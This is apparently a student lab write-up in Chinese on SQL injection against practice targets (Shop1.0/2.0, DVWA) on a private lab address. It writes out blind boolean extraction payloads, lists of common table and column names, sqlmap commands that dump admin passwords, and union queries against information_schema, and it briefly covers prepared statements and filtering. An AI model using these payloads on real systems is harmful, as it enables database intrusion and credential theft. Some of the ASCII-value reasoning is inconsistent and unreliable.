系统: Win7
以下为信息安全实验部分,暴力破解和SQL注入。
修改网页
<META name=robots content=noindex,nofollow>
robots Meta标签在很多搜索引擎是不支持的,所以尽可能的使用robots.txt文件来限制抓取。
SQL是进行数据库操作的标准语言
由于程序中对用户输入检查不严格,用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
**盲注:**不会根据你sql注入的攻击语句返回你想要知道的错误信息。布尔盲注 (返回Ture跟Fales)
其本质是对于输入检查不充分,将用户提交的数据当作代码来执行。
例:http://www.***.com/shop/index.asp
由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection
例:http://www.***.com/shop/productshopxp.asp?id=485
在URL中传递变量id,并且提供值为485,由于它是对数据库进行动态查询的请求(其中? id=485表示数据库查询变量),所以我们可以在URL中嵌入恶意SQL语句,但是这不能确定是注入点!要判断该注入点是否有输入限制或者数据过滤!
判断能否进行SQL注入 ,1=1,1=2测试法:
http://www.***. /shop/productshopxp.asp?id=485
http:***/shop/productshopxp.asp?id=485 and 1=1
http:***/shop/productshopxp.asp?id=485 and 1=2
select * from 表名 where id=485 and 【查询条件】
可以注入的表现:
1 正常显示(这是必然的,不然就是程序有错误了)
2 正常显示,内容基本与 1 相同
3 提示 提示找不到记录、或显示内容为空(程序加了on error resume next)
不可以注入:
1 同样正常显示,
2 和 3 一般都会有程序定义的错误提示,或提示类型转换时出错。
and exists (select count(*) from 你要猜的表名)
注入点后加上这句话,如果返回正常,猜的表是存在的
http:***/shop/productshopxp.asp?id=485 and exists (select count(*) from admin)
and (select count(列名) from 猜到的表名)
在注入点后加上这句话,如果返回正常,猜的列是存在的
http:***/shop/productshopxp.asp?id=485 and exists (select count(password) from admin)
常用的表名:
Admin user news manage a_admin x_admin m_admin
adminuser admin_user article_admin administrator
manager member memberlist users Manage_User
user_info admin_userinfo login new
常用的列名:
username password id adminusername admin_username
adminname admin_name admin adminuser admin_user
user_name user_admin administrator administrators
adminpassword admin_pwd adminpass userpass
user_pass admin_passwod
以上还是手工注入很麻烦,之后会有工具,注入工具就是把这些表名列名存储到数据库,一次性交给工具进行注入。
http:***/shop/productshopxp.asp?id=485 and (select top 1 len(password) from admin)>15 正常
http:***/shop/productshopxp.asp?id=485 and (select top 1 len(password) from admin)>16 错误
top 1表示这个列的第一行内容
http:***/shop/productshopxp.asp?id=485 and (select top 1 asc(mid(password,1,1)) from admin)>54
正常
http:***/shop/productshopxp.asp?id=485 and (select top 1 asc(mid(password,1,1)) from admin)>55
错误
密码不是明文存储而是通过md5哈希算法进行加密,因此55哈希算法对应7
Password: 7a57a5a743894a0e (admin)
mid(s,i,1)取字符串s中第i个字符开始取1个
asc()得到这个字符的ascII码
SQLmap: 检测与利用SQL注入漏洞的免费开源工具,需要先找到注入点!
安装:sqlmap基于Python,先安装Python,将sqlmap解压到Python根目录下
因为是sqlmap是机器工具,发数据包是连续的很容易防火墙等安全软件识别出来!
sqlmap.py –h #查看版本
-u #指定目标URL
–current-db #获取当前数据库
-D #指定数据库
-T #要枚举的DBMS数据表
-C #要枚举的DBMS数据表中的列
–dump #转储DBMS数据表项
查询是什么数据库
/sqlmap.py -u “http://*/shop/productshopxp.asp?id=485” --dbs
列出表
/sqlmap.py -u “http://*/shop/productshopxp.asp?id=485” --table
指定表名列出所有字段
/sqlmap.py –u “http://*/shop/productshopxp.asp?id=485” –T admin --columns
指定表名字段名dump出指定字段的内容
/sqlmap.py -u “http://*/shop/productshopxp.asp?id=485” –T admin –C user,password --dump
shop靶机的注入是盲注,只能判断Yes or NO,需要特定语句去查,比如查:有没有这个表,无法查询特定值。当靶机不是盲注时,有回复的信息,我们就可以根据回复来进一步得到我们需要的信息。
将构造的SQL语句的直接执行,将结果回显或者以报错的形式显示出来。
例: 问:你有什么表,答:有admin、user…
开发时关闭错误显示,且注入内容不能在页面展示出来。
例: 问:你有admin表吗? 答:yes
布尔型盲注(回答yes or no)
构造SQL语句之后,根据页面显示差异来判断,页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据.
基于时间的盲注(返回时间的快慢)
构造SQL语句之后根据页面响应时间来判断,是否能执行语句,时间长说明在执行我们的语句,时间短就返回信息说明没有执行注入的语句。
在MySQL语句中数字型不需要单引号或者双引号闭合。
在MySQL语句中,如果字符是字符串格式需要单引号,在注入中也需要考虑单引号的闭合和注释问题。
被执行的恶意代码是通过数据库的SQL解释引擎编译得到的,所以要避免用户输入的数据被数据库系统编译。现在的数据库系统都提供SQL语句的 预编译 (prepare)和查询参数绑定功能。执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析,因此避免了sql注入问题。
#过滤以下字符
and | select | update | chr | delete | %20from | ; | insert |
mid | master. | set | =
使用JavaScript在客户端进行不安全字符屏蔽,检查是否含有‘,\\,/
本实验使用的是Shop1.0和Shop2.0靶机进行实验:
使用手入的形式,发现URL输入admin可进入默认的登录入口,并且尝试输入admin可以进入后端。
也可以使用软件“御剑后台扫描”工具进行扫描
通过手工SQL注入查询后台登录密码,网站中热和可以上传的地方都是可能可以注入的地方
在可以上传的网页UIL输入“id=485 and 1=1” 和 “id=485 and 1=2” 说明网站确认了提交的信息(盲注)
可以通过输入sql语句
http://192.168.163.133/shop/productshopxp.asp?id=485 and (select top 1 len(password) from admin)>15
正常,无反应
http://192.168.163.133/shop/productshopxp.asp?id=485 and (select top 1 len(password) from admin)>16
错误,报错
可见密码长度为15,
可以通过输入:
http://192.168.163.133/shop/productshopxp.asp?id=485? and (select top 1 asc(mid(password,1,1)) from admin)>54
正常
http://192.168.163.133/shop/productshopxp.asp?id=485? and (select top 1 asc(mid(password,1,1)) from admin)>55
错误
ASCII密码第一位为54。
http://192.168.163.133/shop/productshopxp.asp?id=485 and(select top 1 asc(mid(password,2,1))from admin)>96
正常
http://192.168.163.133/shop/productshopxp.asp?id=485? and (select top 2 asc(mid(password,1,1)) from admin)>97
错误
因此第二位是96
使用wwwscan工具,搜索网站后台入口:wwwscan 192.168.163.133 -p 80 -r “shop2” -t 20
输入网址
已得知注入点地址:http://192.168.163.133/shop2/productshopxp.asp?id=485
Sqlmap.py –u http://192.168.163.133/shop2/productshopxp.asp?id=485
Sqlmap.py –u http://192.168.163.133/shop2/productshopxp.asp?id=485 --dbs
Sqlmap.py –u http://192.168.163.133/shop2/productshopxp.asp?id=485 --tables
Sqlmap.py –u http://***/shop/productshopxp.asp?id=485 -T admin --columns
Sqlmap.py -u http://***/shop/productshopxp.asp?id=485 -T admin -C passwaord --dump
输入数字时,可以显示
输入 1’or’1’=’1 时,可遍历所有用户信息
输入1' union select version(),database()#
获取数据库版本和数据库名 (如果只搜寻数据库,会出现错误说明有很多版本)版本 5.5.40 数据库名 dvwa (和home连接里的数据库名相同)
1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查询数据库里有哪些表: guestbook
表、users
表
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
查询user表里用什么字段:user_id,first_name,last_name,password,avater,last_login,failed_login